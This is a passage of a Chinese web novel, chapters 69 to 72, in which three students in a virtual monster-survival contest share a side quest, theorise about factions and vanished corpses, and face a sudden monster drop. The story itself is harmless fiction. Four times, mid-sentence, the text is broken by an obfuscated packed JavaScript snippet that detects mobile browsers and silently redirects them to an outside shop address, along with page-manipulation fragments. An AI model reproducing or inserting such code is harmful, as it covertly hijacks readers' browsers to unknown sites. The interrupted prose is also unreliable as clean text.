白羽也忍不住笑意：“这两人在楼上把信息分享地差不多了，可怜苏益文还在下面焦急等待。” “所以他们是刚刚才认出对方吗？”瞿毓风好奇开口，指出了盲点。 “应该是的，看来也没那么默契。”伊森突然开口插了一句。 白羽：“……” 我怀疑你在嘲讽我，但是我没有证据。 …… “没什么大问题，先换个地方再商量吧。”苏益文见张三没有把人放下的意思，只能提着物资箱老老实实跟在后面。 三人迅速在附近找了个还算好的位置钻了进去，苏益文在前面开路，确认屋子里安全之后大家都松了口气。 他沉默地看着张三把瑞思拜放下，想说的话到了嘴边又咽下。 这是比赛，人家做什么都是很正常的，说到底最初还是她救了自己，要不然他还不知道要在楼梯间关多久呢。 “抱歉，并不是有意针对你，我本来是想能不能混进NPC里打听点消息的，没想到第一个遇到的是你。”看在苏益文为人不错，简初还是开口解释了一句，但言下之意，却有点像撞我手里只能算你倒霉。 苏益文对此表示理解，他仿佛一只情绪稳定的水豚，对于什么样的故事展开都接受良好。 “所以你真名叫瑞思拜吗？” 简初：“……” 没想到你纠结的居然是这个。 “算了，你别回答了，这名字我都喊习惯了。”苏益文恹恹地垂下头，“我们接下来怎么办？” “先休息。”傅燃开口道，“刚刚的战斗我们都消耗了不少，急需恢复体力，今天就不赶路了。” “也好。”简初揉揉耳朵，疼痛已经消退地差不多了，她顺便摸了摸额头，伤口也已经结痂。 像是想到什么，她先数了数狙击枪剩下的子弹，幸好刚刚的射击效率很高，这会还有十颗子弹能用，接着伸手将物资箱拖过来，打开露出里面的异种蛋。 “其他的都砸了，就剩这一个，咱们研究一下也给碎了吧。”这个东西配上支线的名称，一看就不吉利。 这次她没有隐瞒自己收到的通知，和两人共享了消息。 “系统提示我触发了重要支线，叫做蛰伏，我猜整个场景里应该有很多异种蛋，可以触发这个支线任务。” “除此之外，我还收到主剧情推进贡献度5%，既然这个也纳入评分，我觉得我们可以从支线入手，暂时先不去救援点。” “现在我手上的支线任务是‘中断孵化进程’，字面上没什么提示，你们怎么看？” 她话刚说完，先等来的却是耳边的系统提示。 “请问是否要共享该支线任务，此任务下的所有选手自动结盟，成为特殊阵营，注意：剧情推进贡献度以个人计算，任务共享名额剩余（5/5）。” “共享任务需面对面进行，只有任务主动触发者可以进行共享，每隔一个系统时任务触发点会进行重置，同阵营内选手接触间没有提示。” 另外两人显然没有听到这个通知，而简初也注意到了一个新东西——特殊阵营。 有特殊，必然有普通，所以这个对抗场景里，原本就有阵营的存在？ “我收到系统通知了。”在其他两人思考着准备发表意见之际，简初再次开口，“询问我是否要将支线任务共享，怎么样，你们要一起做吗？” 傅燃跟她对视一眼，随即点了点头，倒是那边的苏益文有些坐如针毡。 他已经发觉这两人之间特殊的氛围，不难猜出他们应该是相识的同学，他们看上去也不认识他，以这两人的实力，大概率是联邦军校的学生没跑了。 他一个联邦理工的，要来分一杯羹，总感觉不得劲。 “这不太好吧……我们是竞争对手啊。”苏益文老实开口，惹来简初神奇的视线，在座都不是傻子，对方的来路基本都猜了个八九不离十。 “要说竞争对手，我跟他才是吧。”简初伸手指了指自己和傅燃，“每个学校十个名额，你分再高也压不到我们头上。” 再说了，谁分高还不一定呢。 “这倒也是。”苏益文叹了口气，“又承了你的情，接下来要做什么，我会努力的。” 既然确定任务共享，下一秒，另外两人也收到了任务提示，和她刚刚描述的没有什么出入。 “既然这是重要支线，还推进了主剧情，那必然与场景主线关系密切，或许我们可以再深入挖一挖。”苏益文开口说道。 决定要做，就要做好，他此刻可是摩拳擦掌，准备干出一番大事来，反正原本的救援任务已经没了，苏益文正处于茫然的状态，这个重要支线直接给他指明了方向。 傅燃将视线投向三人中间的异种蛋，仅仅是“中断孵化进程”这句话信息量实在是太少了，如果真有这么多蛋散布在整个场景内，想要全部翻出来简直是天方夜谭，除非直接把整个辉城掀翻，别无他法。 “这样的话可操作性也太差了。”他总结道，紧接着眉头皱起，又提出另一个猜想，“还有一种可能，这个‘孵化’指的并不是这些异种蛋，而是有一个能对整座城市造成危险的异种，正在成长，这个支线指向的是它。” 简初支起一条腿，撑着手肘，指尖不停在脸颊上敲击。 “我觉得这样更合理，按照这个小东西的成长周期，五天内不足以成长到可以产生威胁的地步，大多数异种的幼年期都是很脆弱的，就算数量庞大，带来的麻烦也有限。” “还不如一个实力强大的对手。”她意有所指地朝傅燃扬扬下巴， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13005750|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对方却若无其事地将手里的激光枪还给苏益文。 苏益文接过枪，擦了擦揣回枪套里，抬头看过来：“可是按照这样，就算有一个强大的异种，它刚刚孵化出来，短时间能带来多大的威胁呢？” 大多数时候，剧情类场景根本走不到摸清剧情的时候，比赛就已经决出胜负了。 都淘汰完了，可不就结束了吗。 “选手上线之后按照常规套路，杀异种淘汰对手，触发NPC任务，就跟套模板一样，能不能出线就看个人能力和运气了，比赛说到底就五天，前期不可能出现破坏平衡的异种，否则整个比赛都没有意义了。” 选手们还在场景里乱窜，杀出一只灭霸，还怎么玩？至少也要等对抗进行到中后期，剩下的选手都有一定实力，并且对场景内情况有了一定了解，才会走到这个阶段。 说句不好听的，他们现在就接到这个任务，完全是走了狗屎运。 三人陷入沉默，紧接着苏益文就听见瑞思拜若有所思地开口。 “你还记得当时主持人怎么说的来着，赛期预计五天……” 三人对视一眼，不约而同开口：“以实际情况为准。” …… “哇，我鸡皮疙瘩都起来了。”白羽夸张地搓了搓胳膊。 实况转播现场，大屏幕已经在这三人停了许久，只因为一旦切屏，线上流量就飞速下滑，观众们都涌现个人主播的直播频道了。 追热度的人可不管你镜头平衡不平衡，只要花点钱开通这三人的专属镜头，就可以大把大把地收礼物。 于是现场的大屏短暂切出去一圈，又回到了三人身上。 “我能问问主持人，当时说的话确实是有深意的吗？”爱丽丝开口道，导播也很懂，直接分出一部分镜头给到后台的主持人。只见镜头里的人疯狂摆手，但就是死活不开口说一个字。 “哎呀，这是什么意思呢，是‘不对’，还是‘不能说’，或者是‘你也不知道’啊？”爱丽丝笑着开口。 这下主持人直接捂着脸，躲进了化妆间，饭可以乱吃话不能乱说，他可是签了合同的，尽管他对比赛具体的情况也并不清楚，但任何一个举动都可能被有心人放大，不管他知不知道详情，如果他的行为引起舆论，差不多就可以“告老还乡”了。 “我们也别为难人家了，请两位特邀嘉宾来聊聊，如果作为选手获得这样的信息，你们会作何分析呢？” “这个支线虽然信息给的不多，但好在非常直接，没有什么隐喻。”瞿毓风见伊森还没有开口的意思，为了避免冷场，接下了话。 “它非常明确地指向了异种孵化，既然要给选手们带来麻烦，孵化出的异种显然不能按照正常逻辑来推测，众所周知，虚拟对抗不会出现死局，而大范围孵化出成年期异种显然超出了选手们的能力范围，因此我个人会偏向他们的第二种分析。” “也就是说你觉得他们的猜测是合理的？”白羽问道。 “从现有的信息来看是合理的。”瞿毓风谨慎地加了前提。 “接下来就是定方向了。”伊森突然开口，“确定一个猜想，搭建出可能的逻辑链，并据此进行探索。” “信息量过少的时候，这不失为一个好方法，但也有一个极大的缺陷。” “一旦判断错误，所有努力都会打水漂。” 70. 灯下黑（70） “要是能再短短五天之内成功孵化，并且杀伤力很强，按照文学创作的逻辑，一般这个异种会是人造的。” 简初摸摸下巴平静开口：“什么科学怪人为了拯救死去多年的白月光，私自进行非法实验，但半成品不受控制，造成大范围的死伤。” 傅燃&苏益文：“……” 笔给你，你来写。 “你都是从哪儿看来的，这么狗血。”苏益文无力吐槽。 “是吗？我还有更狗血的……” “停！”眼见这人就要继续说下去，苏益文斩钉截铁地阻止了她，“瑞思拜，你真是这个。” 简初沉默地看着他竖起的大拇指，心想你直接喊这个名字就成了。 “我倒是赞同有人为因素在，辉城资源匮乏，甚至需要中心塔的接济才能维持正常的生活，突然遭受大规模的异种袭击不符合常理。”傅燃低头沉思，“而且辉城是重建的城市，这看上去不像是随意给出的设定。” 剧情类赛场中，系统给出的信息都很重要，不容轻易忽视。 “……那我们接下来还去图书馆吗？还是回头去辉煌商场，那边近一点。”苏益文看两人不约而同沉默了，便开口询问。 既然瑞思拜不是NPC，那也没必要躲着凯文他们行动了。 简初看着外面的雨丝，紧锁着眉似乎在想什么，苏益文没敢去打扰，反而把眼神投向了另一个人，而张三的回应是面无表情地摇了摇头。 苏益文垮下肩膀，像只鹌鹑一样墩在原地，他算是看出来了，这俩人不仅认识，还熟得很。 “关于刚刚的特殊阵营，我要跟你们确认一下，在这之前有收到任何关于阵营分配的通知吗？”简初终于开口，见另外两人摇头，她抿抿唇，“这样啊，就只剩一种可能了。” “什么意思？”苏益文抠着地上的小坑，开口问道。 “可以排除开局分配阵营的可能性，这种情况下就算不明说，肯定也要有比较明显的暗示，否则选手们一旦没有往这个方向考虑，那么整个比赛就会一直陷入混战。” 同阵营的选手互相伤害是会倒扣积分的，如果大部分人都没有想到，这就是赛场规则制定的大失误。 “第二种情况，并没有初始阵营，但会在比赛过程中实现分配，从现在的状况来看，能够一个不落将所有人完美分类的，只有一个途径。” 她将眼神投向傅燃，似乎是期待他说出后面的话。 傅燃抿抿唇，有些不太适应这种合作模式，但还是配合她开了口。 “救援点，四个救援点会将所有人分为四个阵营。” 苏益文微微睁大了眼睛，这就是尖子生的世界吗？ “可是，如果这样，救援队就没有选择的权利了，接到的任务直接安排了目标。”苏益文开口道。 “首先。”简初挑挑眉，朝他扬了扬下巴，“事无绝对，你就是特例。” “其次，阵营的选择并不重要，这只不过是将选手大致分成四方的手段罢了。” “所以按照这个思路，会发生什么促使所有选手尽快前往救援点，从而进入第二项流程——阵营战。”傅燃眉头紧皱，开口道，“而前期淘汰同路的选手，其实是在变相削弱己方阵营的力量。” “没错，现在已知凯文他们要去辉煌商场，虽然我们已经在特殊阵营，但不确定前往同一个救援点会不会有其他影响。”简初总结道，“所以现在麻烦点绕个路，后面碰上就可以放心了。” 苏益文：“……” 放心？放心什么，放心动手了吗？ “而且，虽然后续还会有其他人加入特殊阵营，但不会有接触提示，大家触发了任务一定都会瞒着其他人，所以我们要做好准备，就当这个阵营只有我们三个人。” 听着瑞思拜若无其事地说着，苏益文开始思考自己是不是上了艘贼船。 但现在就算想跳船也来不及了。 “说起来，你现在还能联系上中心塔吗？”简初眼神微动，想起来身边还有个“内部人士”。 苏益文愣了愣，似乎根本没想到这一茬，不过这也不能赖他，开局就跟小队脱节不说，现在还被踢出救援队，借他十个胆子也不敢想着去联系中心塔送人头啊。 “目前看来，中心塔只是个提供场外信息的工具，就算凯文汇报过情况，你也一样可以。” 简初露出一丝微笑，看得人心头一凉。 …… “今天的实况转播即将进入尾声，让我们用十分钟时间总结一下第一天日间比赛的情况吧。”爱丽丝收到后台提示，开口道，观众席上传来非常明显的不满。 联邦的夜生活丰富，八点结束绝对算得上非常早了，但观众也是赞助商们的目标，附近的商场景点都已经做好万全的准备，接待第一批游客高峰。 “截止晚七点五十，共计4387名参赛选手，剩余2966名，淘汰率比赛前预期高了三个百分点。”白羽说道。 “是的，场内异种强度比较高，虽然选手之间还没有出现非常明显的对抗，但也淘汰了不少人。” “另外在剧情方面出现了意想不到的大推进。” 大屏上出现了简初三人和章鱼怪对抗的画面。 “选手触发了重要支线，虽然贡献度不算高，但现在还处于比赛第一天，5%已经足以和其他人拉开差距了。” “想必各位都有看好的选手吧。”白羽抓住恰当的时机，把话抛给了特邀嘉宾。 乌托邦只能实时统计异种击杀以及淘汰选手的数量，其他的积分计算需要一点时间，正常都是在24小时后出一个临时排名结果。 现在的情况跟米勒尔的预期出入很大。 同是对抗异种，有好几个选手的风格明显比他这种规规矩矩的更吸引眼球，更糟糕的是他碰上了简初三人，在此前的正面对峙中落入下风，被对方分走不少注意力，更别提他们后来还触发了支线剧情。 原本以为实力强劲的傅燃会是凯文的主要竞争对手，却没想到半路杀出来一个伪装NPC的简初，因为她的大胆操作和猜测，此时在论坛的讨论度已经有隐隐超出其他人的趋势，这样下去，就算是为了比赛热度也得保她进决赛。 伊森想起米勒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13025033|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尔给他打好的、夸赞凯文的腹稿，无声地扯了扯嘴角。 这个简初，现在看来倒是顺眼了不少。 “今天的比赛十分精彩，给我留下深刻印象的选手也是有好几名。”他点点头，微笑开口，“看来联邦的新鲜血液实力都是相当不错的。” “不过夜间是许多异种活动的时间，这对选手们来说是一个非常严峻的挑战，希望明天能看到大家依旧活跃在赛场上。” 现在的他无法完全忤逆米勒尔的安排，只能折中取巧，谁都不提。 “我很看好简初选手的小团队。”瞿毓风就没有这个顾虑了，“在这类对抗里，剧情推进的评分会非常高，希望各位选手都往这个方向多多努力，把故事尽可能完整地复现出来。” 她顿了顿，又补充道：“大家都知道，乌托邦是不会公布赛场主线剧情的，想要知道辉城究竟发生了什么，只能靠选手们努力探索了，说实话我也很好奇这里面的故事。” 爱丽丝见她配合，不禁露出笑容：“这点我相信在场很多观众都一样，辉城到底发生过怎样的故事，未来又会有怎样的遭遇，请大家拭目以待了。” …… “苏益文下士，你的情况中心塔已知晓，但由于现在是特殊时期，人手紧张，暂时无法进行核实与处罚，相关记录已经存档，在此次任务执行完毕后，中心塔将开展调查工作。” “你的装备使用权限将不会锁定，请自行寻找幸存者并前往救援点。” “好家伙，我还是下士。”苏益文挂断通讯，跟面前两人对视一眼，耸耸肩，“看来确实没受到影响。” “不仅如此，他还要求你继续前往救援点。”简初笑眯眯地补充。 “这算是……佐证了我们之前的猜测吗？”他犹豫着开口，这么看来，阵营的存在几乎是板上钉钉了。 “怎么不算呢？”简初继续笑眯眯。 “时间到了。”傅燃突然开口，外面的天色已经完全暗了下来，原本沉重的雾霭多了黑暗的遮掩，看上去反而变淡了不少，夜晚正是很多异种骚动的时候。 “晚上没有实况直播，很多人做事都会变得更加没有顾忌，保持警惕，情况不对直接动手。”简初叮嘱道。 “张三作为先锋，直接扫荡落单的异种，如果遇到成群结队的就不要上了，保留体力。我用狙辅助，苏益文，你跟他保持适当的距离，确保随时能支援。” “你一个人没问题？”傅燃将手腕上的绷带重新缠了一遍，掌心的伤口用完了最后一点伤药库存。 “我不会离你们太远的。”简初掂了掂手里的狙击枪，尽管中距离发挥不出最大的优势，但精神力的使用又能弥补这一部分，她射击课的成绩还不错，加上精神力辅助，说是百发百中都算谦虚了。 “今晚沿着前往图书馆的路刷分，同时重点关注有异种守着的房屋，”简初的眼睛在黑暗中闪动着微光，“线索一定是有迹可循的。” 另外两人做了一个手势，迅速翻过窗台，消失在视线里，简初背上物资小包，翻上隔壁的屋顶。 视线最好的地方，还得是高处啊。 71. 灯下黑（71） 今天的月亮有些泛红，宛如沾了一丝丝血迹的镰刀，冷酷地悬在半空中。 温弗拉的中心基地，月光照不进去的地方，一群人正在热火朝天地忙碌着，看上去还以为是哪家公司的打工人正在加班，没有任何特殊的地方。 “让我歇会。”无影长叹一口气，倒在自己的椅子里闭目养神。 乌托邦的破解工作实在是太繁琐了，哪怕只是一个虚拟赛场，甚至还有临时信道作为突破口，处理起来也是异常麻烦，基地里几乎所有能搭上边的异能者都投入到了其中。 “还不如暴力破解，反正最后也是要爆破。”右手边的同事托着腮帮子，又往嘴里灌了一大口不明液体，脸色肉眼可见地变绿。 无影默默拖着椅子离远了一点，她喝得那玩意苦得能要人半条命，他可不想尝。 “你要来一口吗？” “不不不，不用了。”无影飞快摇头，“暴力破解不可控，上级要求掐好时间，只能先把索引埋进去。” “道理我都懂，领导自己怎么不来干。”同事小声叨叨两句，喝完手里的东西，又开始盯着面前的数据屏，从无影的角度看去，她眼神空洞地仿佛一具尸体，但屏上的数据流却在飞速流动。 都是一群工作狂。 “快了，索引埋好我们就能好好睡会了。”无影侧过头闭上眼，抓紧时间休息，待会自己又要接班。 “无影，路亚喊你过去。”刚闭上眼没两分钟，就有人来拍了拍他的肩膀，无影叹着气挠挠头，脚下却老老实实去了办公室。 “有什么事吗？”他敲了敲门，秉持着能不进就不进的原则，悄咪咪探出一个脑袋。 “进来，关门，有事问你。”路亚头都没抬。 “哦。”无影慢吞吞关上门，坐在了办公桌对面，他有些不安地动了动手指，上一次挨骂的阴影还在，一时都有些不敢面对路亚。 不用想都知道是跟这次任务有关的事情，但这次行动的密级很高，他也只清楚一部分，具体上头想要做什么，大概只有到路亚这个级别才能有所了解。 路亚现在简直是一个头两个大，她对上头的矛盾有所耳闻，但是没想到这个时候还能出岔子。 温弗拉算是一个历史比较长的组织，在最初它还是能见光的，甚至和联邦有一些合作，但几十年发展逐渐演变下来，却是半截站在了联邦的对立面。 高层矛盾愈演愈烈，意见不合就算了，他们所属的旧派还有个领军级人物失踪，不，说是失踪过于委婉，流传更广的版本是对方直接撂挑子，不管事了。 正常来说，最上面的矛盾是不会波及到他们身上的，但火一旦烧起来就没办法控制，这一天终于还是来了。 在任务推到一半的时候，开始整幺蛾子了，这一次行动聚集了太多小组，归属于不同的负责人管理，话事权这个东西抢起来可真就没完没了。 “之前你去帮忙的还记得吗，我记得那会还扯上了苍耳。”路亚言简意赅。 “你是说，南芒区的任务？” “是的，清除修女，顺路还恰好追踪到一只异种，当时打算牺牲苍耳来记录数据的。”路亚作为无影的直属上级，对任务的详情是有知情权的。 “啊，是的，但任务已经顺利提交了，现在是有什么问题吗？” “修女那边确实没有问题，虽然出了点小意外，但人确实是死了，现在有问题的是当时‘顺带’做的小任务。” “你是说关于那只异种？”无影眉头紧皱，“当时跟我说的是特战中心插手，就没有继续管了，现在是什么意思？” “当时的数据收集贴片没有回收，那边的意思是，原以为是被特战中心拿走了，但现在有情报传回来，说特战中心也没有拿到贴片。”路亚向后靠在椅背上，烦躁地揉了揉眉心。 “所以呢？”无影后知后觉地眨眨眼，“他们不会是怀疑……” “他们怀疑苍耳拿走了东西，并且隐瞒没有上报。” 但那只异种没那么好对付，新派的异能者死了，而苍耳当时并没有觉醒异能，这种怀疑简直是天方夜谭。 说到底，这不过是对方向他们旧派发难的一个借口罢了。 “比起是苍耳拿走了，我更怀疑是情报错了。”无影苦着脸，他的级别并不够接触到太多上层的秘辛，所以还在认真思考其中的可能性。 “别想了。”路亚阻止了他继续无意义的思考，“按照约瑟夫那边的要求，苍耳不能继续参与这次行动，我知道，你已经给她安排好要做的事情了，而且现在模拟大赛正在进行，你也没办法再和她联系。” 作为新派的领军人物，约瑟夫的话语权很大，同属温弗拉，旧派的人也不能直接拒绝对方“合理”的要求。 “他们会另外安排‘可靠’的人来拖延时间，苍耳那边……无所谓了。”路亚说道。 无影有些失落，苍耳是他真正意义上的第一个下属，被轻飘飘地排挤在外，总感觉连带着自己也被瞧不起了。 “新派风头正盛，自从……失踪，情况更加糟糕，告诉你这些就是让你不要意气用事，这里面水浑得很，能躲则躲。”路亚警告道，“回去之后该干嘛干嘛，口风放严点，那边要是有人来找你帮忙，一律拒绝，就说我给你安排了很多工作，必要的时候让他们直接来找我。” “嗯。”无影乖乖点头。 比起这次的行动，他更担心之后新派会不会针对苍耳做出什么举动，但她现在人在联邦军校，应该暂且还算安全。 …… 乌托邦内。 直到后半夜，三人的行动才暂停，一方面是为了能够及时恢复体力，另一方面是……狙击枪的子弹快用完了，只剩下最后两颗。 “明天应该会进行第二次物资投放，经过一天的筛选之后，剩下大部分选手实力应该都还不错，到时候也许还用得到它。” 简初把枪收起来，枪口这会摸着还有些烫手：“可惜物资箱没有特殊标志，能不能拿到武器箱都不一定，就算拿到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13037090|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了也很难再抽到一样的武器。” 等这两枚子弹用完，这把狙也算寿终正寝了。 “好用吗？”傅燃突然开口，“这把狙用起来顺手吗？” “还行吧，主要是我发现搭配上精神力，狙击枪会更好用，□□杀伤力比较强。”简初喝了口水，“不过能有武器就不错了，我不挑。” “嗯。”傅燃点点头，闭上了眼作休息。 三个人轮流守夜，简初是第一个，今天忙得够晚，匀下来能睡三个小时出头，不过对于她来说倒是小问题，她的特殊技能——熬通宵但精神焕发，虽然短时间内只能用一次。 苏益文很好奇这两人是怎么放心让他来守夜的，但最终被张三轻飘飘的一眼，以及摸着金属棍的动作给定住了。 是了，他们二对一，该担心是的他自己。 他会好好干活的……不是，他原本也没想着做坏事啊。 苏益文委委屈屈地抱着激光枪，靠墙睡了。 简初盘腿坐着，膝边放着一些沿路搜刮而来的东西。 那些异种蛋应该是支线触发点，每次重置应该不是完全随机，而是在某一区域内随机抽取，否则要是两次位置意外靠在一起的，大概率会被同一人发现。 不过后来一直没有再听到系统播报，不知道是没有人触发，还是只有第一次才会被全场通报。 简初仔细翻完搜到的东西，遗憾地发现它们并没有什么用处，但正常来说，有效信息不会被埋得很深，否则短短的赛期几乎就把探索剧情的可能性给毙掉了。 难道遗漏了什么重要线索？或者它们已经在更显眼的地方了？ 她想了想，又从包里把日记本掏出来，后面的空白页记录了后来的一些信息，算是目前所有线索的集合。 按照苏益文给的信息，中心塔仅派出了四个救援队，但是目前他们还没有遇到一个NPC，这让简初不得不怀疑场地中根本没有NPC的存在，但问题是连尸体都没有就很奇怪了。 异种有各自的捕食习惯，不可能没有留下一点痕迹，那这些尸体的消失，也许跟剧情有关。 孵化……这些尸体有没有可能都被拿去用作养料了？ 简初记下这个想法，只要逻辑能圆起来，任何一个可能性都不能漏掉。 她这么举着一根快没墨的笔，在日记本上写写画画，没注意到一边的傅燃已经在黑夜中睁开了眼。 他的呼吸甚至跟睡眠中保持着一样的频率和深浅。 这半天的合作下来，他对简初的精神力有了全新的认识，只有他才知道，这人射出的每一发子弹有多么精准，有时他出手甚至会下意识参考子弹的轨迹。 短短几个小时，他的战斗本能已经完全信任了对方，这在之前完全是不可能的，更重要的是，这样高强度地使用精神力，她居然还能清醒地守夜，甚至还在分析白天的信息。 她也许是比伊森更适合的人选，但在此之前，他是不是应该想办法跟对方拉进一下关系？ 72. 灯下黑（72） 尽管当时没有感受到精神力消耗带来的疲惫，但简初这一觉睡得格外得沉，醒来之后的状态明显比夜里要好很多。 暴雨过后，空中不再有厚重的雾霭，呼吸之间也畅快了不少，傅燃默不作声地拿走被简初随手放在一边的破烂外套，又穿在了身上。 苏益文低头垂眼，把自己的激光枪擦了一遍又一遍。 说精神控制学院的学生都比较柔弱，体质不好容易生病，确实应该多多照顾，有她帮忙，战斗也能轻松不少。 “马上八点又要开始实况转播了，先商量一下今天要做什么吧。”简初拿出日记本，摊在膝头，另一边的傅燃则将东西收拢起来，把最后一点食物分给他们。 物资投放的量控制得很微妙，他们三个精打细算才撑到这会，简初咬了口面包，将手里的日记本翻到重点。 “看看这里，异种袭击之后的第十七天，中心塔才发布第一轮救援的通知，我觉得这个时间太长了。” “之前考虑到辉城的地理位置，以及城市内部的科技水平不高，导致救援来得很慢，但从苏益文跟中心塔的交流来看，显然不是这样。” 她将日记又往前翻了一页。 “日记中提到辉城内部的通讯断了，而且我手里的终端确实没有信号，但他和中心塔的通讯却非常顺利且稳定，说明中心塔是有办法不借助辉城内部的通讯设施，跟救援队联系的。” 傅燃垂着眼，伸手捏着这一页，前后翻了翻：“你是说，中心塔其实知道辉城遭遇了袭击，但一直没有派出救援？” 简初耸耸肩，但并没有打包票：“明明有这个能力，却没有对辉城的通讯进行维修，我觉得很奇怪。” 苏益文点点头，表情若有所思：“确实，如果通讯恢复，辉城的居民就可以借助这个来相互联系……” 团结起来，说不定能争取一线生机。 “但这里没有居民，只有选手。”简初叹了口气，“这个场景里没有NPC。” “什……什么？”苏益文愣住了。 “不只是NPC，连尸体都没有。”傅燃点头表示赞同，“这个设定应该是跟主剧情有关，否则在比赛开始之前乌托邦会给出说明。” 与比赛剧情无关的重要设定必须在赛前进行说明，毕竟这会对选手们的判断造成严重误导。 “这就引出了第二个问题，尸体都去哪儿了？”简初在日记本上早已写出的句子后画了个问号，“我们的支线任务，指向了一个可能性很大的方向——异种孵化。” 苏益文此时一个头两个大，本来以为只是例行核一下信息，却没想到这两人一个比一个能想，问题是想得还挺有逻辑，让人无法反驳。 “不会真的被瑞思拜说中了吧，人造异种什么的。”他犹豫着开口。 简初无语地看了他一眼：“随口说的，你当真了？” 苏益文：“……” 下次随口说的时候能不能别那么煞有介事。 “我觉得有可能啊！”苏益文嘴硬。 “嗯，我也觉得有可能。”简初点点头，重新看向手里的笔记本。 苏益文：“……” 他好像把这辈子的苦都在瑞思拜身上吃完了。 她到底是不是认真的啊！！！ “所以，目前的信息看来，中心塔知道辉城受到了异种袭击，但不知道出于什么原因，没有及时进行救援，而辉城居民的尸体全都不翼而飞，很大概率和异种孵化有关。”傅燃总结道。 “但在我们之前发现异种蛋的地方，并没有尸体的痕迹，所以基本可以确定，有一只不正常的异种正在借助其进行孵化。”简初把日记本合上，放进布袋里。 “当然也有可能是两只啦，反正数量越少，实力越强。” “那支线任务是不是做不了了，如果尸体都送过去了，我们也没办法阻止了吧？”苏益文发现自己现在的指路明灯又有即将熄灭的架势，一脸生无可恋地开口。 “可以。”傅燃平静地点点头，在苏益文充满期待的目光中吐出后半句，“杀了就行。” 苏益文：“……” 这也是我活祖宗。 情况交流得差不多，时间也即将来到八点，也就是实况直播开始的时间。 不出意外的话就要出意外了。 天幕中突然传来机械的系统播报声，三人互相看了一眼，有一种“果然来了”的无力感。 “异种即将投放，请所有人尽快进入安全区域，再重复一遍，异种即将投放，请所有人尽快进入安全区域。” “这是什么东西？”简初侧过头，还以为是自己听错了，但播报声又重复了几遍，让她确定自己的耳朵没出问题。 投放异种？为了催大家去救援点需要这么过分吗？ 但杀异种可以刷分，肯定会有不少人特地等待异种投放，狠狠刷一波分。 “怎么说？我们要刷分吗？”苏益文显然想到了这一层，但他发现瑞思拜的脸色并不好看，于是多问了一嘴，“还是去图书馆？” 简初感觉有些不对劲，但却找不到它来自何处，只能更加谨慎地提出建议：“先尽量往图书馆走，做两手准备，如果有异常……” 但还没等她说完，系统播报又换了一句话在不停重复。 “第二轮物资投放即将开始，随机投放点将出现持续三秒的光柱，请注意观察。” “搞什么鬼，怎么凑一块了。”苏益文迅速扒到床边，小心探出半个脑袋，象征物资的光柱比异种投放的倒计时快一步，已经爆发出令人瞩目的炫光。 “比上次远一点，要去吗？”他回过头，就看到身后的两个人已经把东西收好，扛着武器准备翻阳台了。 那他算什么，笑话吗？ “赶紧走了。”简初翻过阳台，跳下去之前还用狙击枪敲了一下苏益文的脑袋。 他们刚刚落地，异种投放的倒计时也同时归零，简初的精神力正全力向外铺展，她想要对新的光点进行标记，来减轻后续分辨异种和选手的压力，但却看到令她头皮发麻的一幕—— 数量众多的光点源源不断，自外向内涌入她精神力扫描的范围。 她突然抬头，凭着记忆力看向几秒前还有光柱的位置，好巧不巧，全都在异种群的边缘，被简初标记出来的鲜红光点不断向内扩散，最多三分钟，就会淹没物资投放点。 已经有选手发现了异常，很多人不约而同地迅速向内移动，速度倒是比异种快不少，应该是因为第一次投放，所以给了选手们反应的时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13071937|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，但尽管如此，还是有很多光点被红色彻底吞没。 “你们别管我，先过去。”简初突然开口，她的体能不如这两个作战学院的，现在时间紧迫，慢一步就有可能三人一起被异种围攻。 “什么情况？”傅燃眉头微皱，他们四周并没有出现异种，看起来很安全。 “物资点离投放的异种群太近了，没有那么多时间浪费。”简初左右看了看，眼神突然一亮，“你们快去，我在上面辅助。” 鲜红的光点还在慢慢向内扩散，形成了一个边界模糊的“安全区域”，但异种们并没有因此停下脚步，傅燃和苏益文非常迅速地朝物资点而去，简初透过狙击枪的瞄准镜，抢先一步看到了那边的情况。 